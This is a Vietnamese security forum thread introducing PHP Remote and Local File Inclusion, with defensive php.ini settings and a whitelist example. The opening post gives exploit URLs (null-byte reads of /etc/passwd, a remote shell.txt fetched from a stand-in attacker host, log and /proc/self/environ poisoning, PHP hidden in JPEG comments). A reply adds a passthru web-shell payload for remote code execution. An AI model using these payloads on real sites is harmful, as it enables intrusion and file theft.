[Bài viết] Giới thiệu tấn công Remote/Local File Inclusion

Go down

[Bài viết] Giới thiệu tấn công Remote/Local File Inclusion

Bài gửi by Admin on Thu Sep 13, 2018 11:46 am

seamoun
Advisor
Joined: 04/01/2002 14:05:10
Bài gởi: 357
Offline
[Profile] [PM]
I. GIỚI THIỆU
Code:
<?php
include("config.php");
?>

Đoạn mã trên sẽ chèn nội dung của file config.php. Và có thể thực hiện chèn nội dung động nếu cung cấp một biến như sau:
Code:
<?php
include($page);
?>

Lưu ý: Nếu trong cấu hình của PHP (php.ini), register_global mà thiết lập off thì biến $page không được coi như là một biến toàn cục và do vậy nó không thể thay đổi thông qua URL. Và câu lệnh include sẽ phải là $_GET[‘page’], $_POST[‘page’], $_REQUEST[‘page’] hoặc $_COOKIE[‘page’] thay vì $page.

Giả sử trường hợp register_global được thiết lập và lúc này chúng ta sẽ thực hiện chèn trên URL với đối số bất kỳ, khi đó đoạn mã sẽ thực hiện include file mà chúng ta chỉ định, nếu không tồn tại thì sẽ báo lỗi nhưng vẫn thực hiện script. Một hàm khác của PHP đó là require hoặc require_once cũng có tác dụng tương tự như include nhưng nếu xuất hiện lỗi thì script sẽ ngừng. Sự khác biệt giữa include_once và include hoặc require_once và require là ở chỗ require_once hay include_once là ngăn chặn việc include hay require 1 file mà nhiều lần.

Kiểm tra file robots.txt của website và thực hiện kiểm tra thử website đó với file robots.txt. Ví dụ www.example.com/page=robots.txt để xem cách ứng xử của server về câu truy vấn này.

Có thể sử dụng Google CodeSearch để tìm kiếm các lỗi về File Inclusion bằng biểu thức chính qui như sau :
http://www.google.com/codesearch
lang:php (include|require)(_once)?\s*[‘”(]?\s*\$_(GET|POST|COOKIE)

II. KHAI THÁC
1. Null-Byte
Code:
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}

Nếu thực hiện index.php?page=/etc/passwd thì khi chèn vào thì nó sẽ là /etc/passwd.php, không đúng như chúng ta mong muốn, do vậy để khai thác và ngắt phần “.php” sử dụng %00(Null Byte), lúc này URL sẽ là index.php?page=/etc/passwd%00. Cách khai thác này chỉ có tác dụng khi magic_quotes_gpc=Off

2. Remote File Include[/i]
Nếu trong cấu hình của file php.ini mà allow_url_open=On và allow_url_include=On thì có thể thực hiện gộp file từ xa và trong nội dung file từ xa này có thể chứa các mã độc. Ví dụ
Code:
http://www.example.com/demo/index.php?page=http://www.hackerexample.com/shell.txt?

3. Local File Inclusion
Trường hợp mà allow_url_fopen =Off thì chúng ta không thể khai thác thông qua url từ xa, lúc này khai thác sẽ dựa trên local file inclusion. Khai thác local file cho phép chúng ta đọc các file nhạy cảm trên server, ví dụ như là /etc/passwd, /etc/group, httpd.conf, .htaccess, .htpasswd hoặc bất kỳ file cấu hình quan trọng nào.

Ví dụ như có được thông tin từ /etc/passwd, kẻ tấn công có thể biết được các username có trên server và thực hiện bruteforce, nếu kẻ tấn công có khả năng truy cập shadow thì nguy hiểm hơn nhưng /etc/shadow thì chỉ có root mới có khả năng truy cập và đọc được file này.

Ví dụ một số file nhạy cảm mà kẻ tấn công luôn muốn truy cập
a. httpd.conf: Thực hiện đọc file này để có được thông tin về error_log, access_log, ServerName, DocumentRoot, …

b. .htaccess và .htpasswd: Giả sử có một thư mục admin được bảo vệ bởi htaccess thì chúng ta không thể truy cập được các file .htaccess và .htpasswd trực tiếp, nhưng nếu bị lỗi local file inclusion thì có thể đọc và có được thông tin về username và password được thiết đặt ở trong những file này.

c. Khai thác cục bộ
Giả sử có nhiều website trên một server, nếu như site example1.com bị lỗi local file inclusion. Kẻ tấn công ở vị trí là website với domain là example2.com cũng cùng một server với example1.com thì có thể khai thác site example1.com này thông qua như sau:
Code:
http://www.example1.com/index.php?page=/home/example2/public_html/images/php.jpg

d. Khai thác sử dụng Log Files
Chuyện gì sẽ xảy ra nếu chúng ta đệ trình với URL như sau
Code:
http://www.example1.com/index.php?page=<? echo phpinfo(); ?>

Tất nhiên site sẽ thông báo lỗi bởi vì file <? echo phpinfo(); ?> không tồn tại, và khi đó trong error_log của Apache nó sẽ lưu thông tin về lỗi này như sau
192.168.1.14 - - [15/Jul/2009:17:54:01 +0700] "GET /demo/index.php?page=%3C?%20echo%20phpinfo();%20?%3E HTTP/1.1" 200 492 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5"

Như vậy trong file log đã encode URL mà chúng ta đệ trình, do vậy chúng ta cần phải gửi request với đoạn code sau:
Code:
<?php
$res = '';
$fp = fsockopen('127.0.0.1', 80);
if(!$fp){
echo "No connection";
}
fputs($fp, "GET /demo/index.php?page=<?php echo phpinfo();?> HTTP/1.1\r\n");
fputs($fp, "Host: 127.0.0.1\r\n\r\n");
while(!feof($fp)){
$res .= fgets($fp, 128);
}
echo $res;
?>

Sau khi thực hiện gửi request với đoạn mã như trên, thì hệ thống log sẽ ghi vào file log và chúng ta có thể thực hiện khai thác bằng cách:
http://example.com/demo/index.php?page=<đường dẫn đến file log>
Như vậy với việc đệ trình URL trên nó sẽ thực thi lệnh có trong file log

e. Đặt PHP Script trong file JPEG
Trong file jpg thì có phần Exif là phần đầu của file ảnh JPEG, mà nó ghi thông tin về, độ phân giải, ngày tạo, comment, … chúng ta có thể thực hiện chèn PHP script vào phần comment của file JPEG bằng công cụ jhead như sau:
./jhead –ce hack.jpg, nó sở mở vi cho chúng ta soạn thảo phần comment cho file JPEG, ở đây ta lưu comment với nội dung là <? phpinfo(); ?>. Và thực hiện upload ảnh lên server, nếu như server đó bị lỗi local file inclusion thì có thể thực hiện http://www.example.com/index.php?page=hack.jpg, khi đó mã PHP trong hack.jpg sẽ thực thi.

f. Lỗi trong khi sử dụng các script để lưu log
Ví dụ một đoạn mã sau lưu tấn công SQL Injection
Code:
<?
$REQ = print_r($_REQUEST,true);
$ip = 'IP: '.$_SERVER['REMOTE_ADDR'];
$time = 'Date: '.date("d.m.y - H:i:s");
$ref = 'Referer: '.$_SERVER['HTTP_REFERER'];
$browser = 'Browser: '.$_SERVER['HTTP_USER_AGENT'];
if(eregi('UNION',$REQ) && eregi('SELECT',$REQ)){
$fp = fopen("attacks.txt","a+");
fwrite($fp,"$REQ\n $ip\n $time\n $browser\n $ref\n");
fclose($fp);
header('Location: http://www.google.com');
}
?>

Khi đó mọi hoạt động tấn công SQL Injection sẽ được lưu ở trong file attack.txt, tuy nhiên nếu kẻ tấn công đệ trình với URL như:
UNION <? phpinfo(); ?>. Khi đó trong file log sẽ chứa thông tin về Reference và lúc này nếu server bị lỗi local file inclusion sẽ thực hiện được đoạn mã PHP với đệ trình sau:
http://example.com/index.php?page=attack.txt

g. Thực hiện PHP Code trong file /proc
Mỗi tiến trình có một file trong thư mục /proc mà dùng để giao tiếp giữa kernel và user, tương ứng với mỗi thư mục mang số hiệu PID của mỗi tiến trình sẽ lưu thông tin về mỗi tiến trình mà nó thực hiện. Và có một file /proc/self/environ lưu thông tin về cấu hình mà nó đang hiện hành thực thi trên file mà không cần quan tâm PID. Do vậy nếu sử dụng Firefox để mở thì nó sẽ hiển thị thông tin liên quan đến Browser như là HTTP_USER_AGENT và HTTP_REFERER. Khi đó nếu website bị lỗi thì có thể thực hiện thiết đặt có chứa mã PHP và thực hiện gộp file để thực thi mã PHP
http://example.com/index.php?page=/proc/self/environ

III. PHÒNG CHỐNG
Sử dụng hàm file_get_contents thay vì include đối với log bởi vì lúc này nó chỉ đọc nội dung của file mà không thực thi ngay cả đối với file php. Vô hiệu hóa hàm eval() trong PHP. Kiểm soát việc sử dụng require và include. Sử dụng đường dẫn tuyệt đối hơn là sử dụng .. hoặc / . Thiết đặt allow_url_fopen=off để chống RFI khi đó hàm file_get_contents cũng vô hiệu hóa theo đối với phiên bản PHP cũ < 5.2.0. Nếu sử dụng PHP 5.2.0 thì thiết đặt allow_url_open=on nhưng allow_url_include=off, và thiết đặt register_global=off và thậm chí thiết lập display_errors=off




--vickigroup.com--
[Up] [Print Copy]


[Bài viết] Giới thiệu tấn công Remote/Local File Inclusion 02/12/2010 05:20:12 (+0700) | #2 | 226099
[Avatar]
tanviet12
Member
[Minus] 0 [Plus]
Joined: 10/05/2010 12:15:15
Bài gởi: 138
Đến từ: TP - HCM
Offline
[Profile] [PM] [Email]
Cảm ơn anh. Bài viết rất hay..
Mình mới tìm được cái video về RFI (Remove file include), bạn nào chưa hiểu lắm về RFI thì có thể xem
http://www.metacafe.com/watch/529101/php_rfi_solution/
BTV
fb.com/buitanviet
[Up] [Print Copy]


[Bài viết] Giới thiệu tấn công Remote/Local File Inclusion 07/12/2010 09:31:26 (+0700) | #3 | 226525
antiadmin
Member
[Minus] 0 [Plus]
Joined: 29/09/2008 17:48:32
Bài gởi: 17
Offline
[Profile] [PM]
Thanks anh seamoun về những bài viết tổng hợp rất hay.

Em xin bổ xung thêm trong cách Khai thác sử dụng Log files
Chuyển từ Local File Inclusion sang Remote Code Execution
seamoun wrote:

d. Khai thác sử dụng Log Files
Chuyện gì sẽ xảy ra nếu chúng ta đệ trình với URL như sau
Code:
http://www.example1.com/index.php?page=<? echo phpinfo(); ?>



Thay vì sử dụng hàm phpinfo(), có thể sử dụng
Code:
<? passthru($_GET[cmd]) ?>

Khi đó file log sẽ có dạng
192.168.1.14 - - [15/Jul/2009:17:54:01 +0700] "GET /demo/index.php?page=<? passthru($_GET[cmd]) ?> HTTP/1.1" 200 492 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5"


Truy vấn đến log file theo URL:
Code:
http://example.com/demo/index.php?page=<đường dẫn đến file log>

Sẽ có thông báo lỗi:
Code:
Warning: passthru() [function.passthru]: Cannot execute a blank command in
/path/to/logfile.log on line xxx

Bây giờ có thể chạy lệnh như sau:
Code:
http://example.com/demo/index.php?page=.../path/to/logfile.log%00&cmd=ls -la

Như vậy đã chuyển sang RCE

@ tanviet12
tanviet12 wrote:
Mình mới tìm được cái video về RFI (Remove file include), bạn nào chưa hiểu lắm về RFI thì có thể xem

RFI là Remote File Inclusion

[Up] [Print Copy]


[Bài viết] Giới thiệu tấn công Remote/Local File Inclusion 07/12/2010 13:28:38 (+0700) | #4 | 226548
[Avatar]
gamma95
Researcher
Joined: 20/05/2003 07:15:41
Bài gởi: 1376
Đến từ: ░░▒▒▓▓██
Offline
[Profile] [PM] [ICQ]
lolz, tui đâu thấy bồ antiadmin bổ sung gì đâu ?? Seamoun để phpinfo() chỉ là PoC mà smilie
Cánh chym không mỏi
Chờ ngày giác ngộ
[Up] [Print Copy]


[Bài viết] Giới thiệu tấn công Remote/Local File Inclusion 07/12/2010 13:33:17 (+0700) | #5 | 226549
[Avatar]
gamma95
Researcher
Joined: 20/05/2003 07:15:41
Bài gởi: 1376
Đến từ: ░░▒▒▓▓██
Offline
[Profile] [PM] [ICQ]
mình nhớ có viết một cái auto LFI này thì phải, chi tiết xem ở đây:
http://www.hvaonline.net/hvaonline/posts/list/32676.hva
Cánh chym không mỏi
Chờ ngày giác ngộ
[Up] [Print Copy]


[Bài viết] Giới thiệu tấn công Remote/Local File Inclusion 07/12/2010 14:01:11 (+0700) | #6 | 226552
antiadmin
Member
[Minus] 0 [Plus]
Joined: 29/09/2008 17:48:32
Bài gởi: 17
Offline
[Profile] [PM]
gamma95 wrote:
lolz, tui đâu thấy bồ antiadmin bổ sung gì đâu ?? Seamoun để phpinfo() chỉ là PoC mà smilie


smilie tùy bro nghĩ.
Với tui nó khác, vì mở ra thêm 1 hướng mới. Tôi nghĩ các bạn mới tìm hiểu cũng thấy vậy.
Nếu gamma95 có ý kiến gì hay thì cứ chia sẻ mọi người học hỏi lolz smilie
[Up] [Print Copy]


[Bài viết] Giới thiệu tấn công Remote/Local File Inclusion 07/12/2010 22:17:37 (+0700) | #7 | 226606
phanledaivuong
Member
[Minus] 0 [Plus]
Joined: 23/05/2008 17:34:21
Bài gởi: 315
Đến từ: /dev/null
Offline
[Profile] [PM] [WWW]
gamma95 wrote:
mình nhớ có viết một cái auto LFI này thì phải, chi tiết xem ở đây:
http://www.hvaonline.net/hvaonline/posts/list/32676.hva


Code:
Thông tin

Ối, bạn không đủ quyền truy cập chủ đề này.
[Up] [Print Copy]


[Bài viết] Giới thiệu tấn công Remote/Local File Inclusion 21/03/2011 23:58:46 (+0700) | #8 | 233666
mrro
Administrator
Joined: 27/12/2001 05:07:00
Bài gởi: 745
Offline
[Profile] [PM]
mới có thêm một paper mô tả một kỹ thuật LFI mới và tổng kết sơ bộ các kỹ thuật cũ: http://gynvael.coldwind.pl/?id=376&lang=en

-m
http://tinsang.net

TetCon 2013 http://tetcon.org

Làm an toàn thông tin thì học gì?http://www.hvaonline.net/hvaonline/posts/list/42133.hva
[Up] [Print Copy]


[Bài viết] Giới thiệu tấn công Remote/Local File Inclusion 05/04/2011 15:44:16 (+0700) | #9 | 234772
duongtnhat
Member
[Minus] 0 [Plus]
Joined: 02/09/2010 06:09:24
Bài gởi: 55
Offline
[Profile] [PM] [WWW]
Theo em biết thì dùng:
Code:
<?php
$include = "config.php";
include($include);
?>


Thay vì:
Code:
<?php
include("config.php");
?>

Cũng không bị lỗi trên (em đọc trong tài liệu nhưng cũng chưa thử bao giờ lên không biết kết quả ra sao)
cuộc sống thực tế hơn nhiều sách vở
[Up] [Print Copy]


[Bài viết] Giới thiệu tấn công Remote/Local File Inclusion 23/06/2011 20:12:59 (+0700) | #10 | 241866
auauau97
Member
[Minus] 0 [Plus]
Joined: 02/06/2011 02:22:48
Bài gởi: 22
Đến từ: Hà Nội
Offline
[Profile] [PM]
Thanks các bạn nhé !
Bài viết rất có ích.
[Up] [Print Copy]


[Bài viết] Giới thiệu tấn công Remote/Local File Inclusion 28/08/2011 20:50:22 (+0700) | #11 | 246088
khuongduybui
Member
[Minus] 0 [Plus]
Joined: 25/08/2011 20:01:20
Bài gởi: 7
Offline
[Profile] [PM] [Email] [WWW]
duongtnhat wrote:
Theo em biết thì dùng:
Code:
<?php
$include = "config.php";
include($include);
?>


Thay vì:
Code:
<?php
include("config.php");
?>

Cũng không bị lỗi trên (em đọc trong tài liệu nhưng cũng chưa thử bao giờ lên không biết kết quả ra sao)


Nếu bạn đã ghi thẳng là Code:
<? include('absolute_file_name.php'); ?>
thì sẽ chẳng có vấn đề gì đâu. Người ta chỉ khai thác được khi bạn truyền vào trong hàm include 1 tên biến, ví dụ $include, mà tên biến này có thể bị override từ trong URL query.
Còn cách giải quyết như bạn nói, khai báo $include ngay trước khi dùng, thì cũng tránh được URL query exploit, nhưng không khác gì so với bỏ string vào thẳng trong hàm include().
[Up] [Print Copy]


[Bài viết] Giới thiệu tấn công Remote/Local File Inclusion 28/08/2011 21:43:41 (+0700) | #12 | 246095
duongtnhat
Member
[Minus] 0 [Plus]
Joined: 02/09/2010 06:09:24
Bài gởi: 55
Offline
[Profile] [PM] [WWW]
Mình không nhớ lắm chỉ nhớ đã đọc về khai thác lỗi ở cái #include trong một cuốn sách nào đó 2-3 năm trước có nói dùng các của mình cũng tránh được lỗi Remote/Local File Inclusion mà?
Mình chỉ nói thế, ai có cách nào hay hơn post lên cho ae học hỏi tí đi
cuộc sống thực tế hơn nhiều sách vở
[Up] [Print Copy]


[Bài viết] Giới thiệu tấn công Remote/Local File Inclusion 28/08/2011 22:03:53 (+0700) | #13 | 246100
khuongduybui
Member
[Minus] 0 [Plus]
Joined: 25/08/2011 20:01:20
Bài gởi: 7
Offline
[Profile] [PM] [Email] [WWW]
Không phải nói cách của bạn không hiệu quả, mà thật ra là vầy. Bạn xem lại ngay bài đầu tiên của chủ đề người ta đã nói.
Không chỉ dùng <? include('config.php') ?>, một số trang web còn dùng hàm include tự động cho các pages khác, ví dụ như $page hay 1 biến nào đó. Thí dụ như URL là "/index.php?module=blog" thì sẽ include(blog.php), nếu URL là "/index.php?module=gallery" thì sẽ include(gallery.php)...
Như vậy nếu trang web code không kỹ, chỉ để là <? include($_GET['module'].'.php') ?> thì người ta sẽ lợi dụng điểm này, dùng URL là "/index.php?module=a_secret_file" để lấy được nội dung của cái "a_secret_file.php", ví dụ vậy. Cụ thể thì bạn xem lại bài viết ở trên mình không nhắc nữa.

Còn theo mình, nguyên tắc chung của security là blacklist hơn ở chỗ tiện dụng, whitelist hơn ở chỗ an toàn. Nếu là mình code trang kia, mình sẽ làm vầy.
Code:
<?php
$whitelisted_modules = {'blog', 'gallery', 'config', 'contact', 'about'};
if(in_array($_GET['module'],$whitelisted_modules))
{
include($_GET['module'].'.php');
}
else
{
//lưu vào log detected intrusion attempt, gồm timestamp, $_GET['module'], Client IP, Cookie content, ...
//hiện thông báo lỗi
//redirect về trang chủ hoặc khoá IP hiện tại của client tuỳ admin strict tới cỡ nào
}
?>
[Up] [Print Copy]


[Bài viết] Giới thiệu tấn công Remote/Local File Inclusion 13/09/2011 14:22:55 (+0700) | #14 | 247017
LIA
Member
[Minus] 0 [Plus]
Joined: 10/09/2011 19:36:46
Bài gởi: 13
Offline
[Profile] [PM]
duongtnhat wrote:
Mình không nhớ lắm chỉ nhớ đã đọc về khai thác lỗi ở cái #include trong một cuốn sách nào đó 2-3 năm trước có nói dùng các của mình cũng tránh được lỗi Remote/Local File Inclusion mà?
Mình chỉ nói thế, ai có cách nào hay hơn post lên cho ae học hỏi tí đi


Quyển Essential Php Security smilie
code first, think later - natural programmer

Admin
Admin

Tổng số bài gửi : 69
Join date : 13/09/2018

Xem lý lịch thành viên http://hvaonline.forumvi.com

Về Đầu Trang Go down

Về Đầu Trang

- Similar topics

 
Permissions in this forum:
Bạn không có quyền trả lời bài viết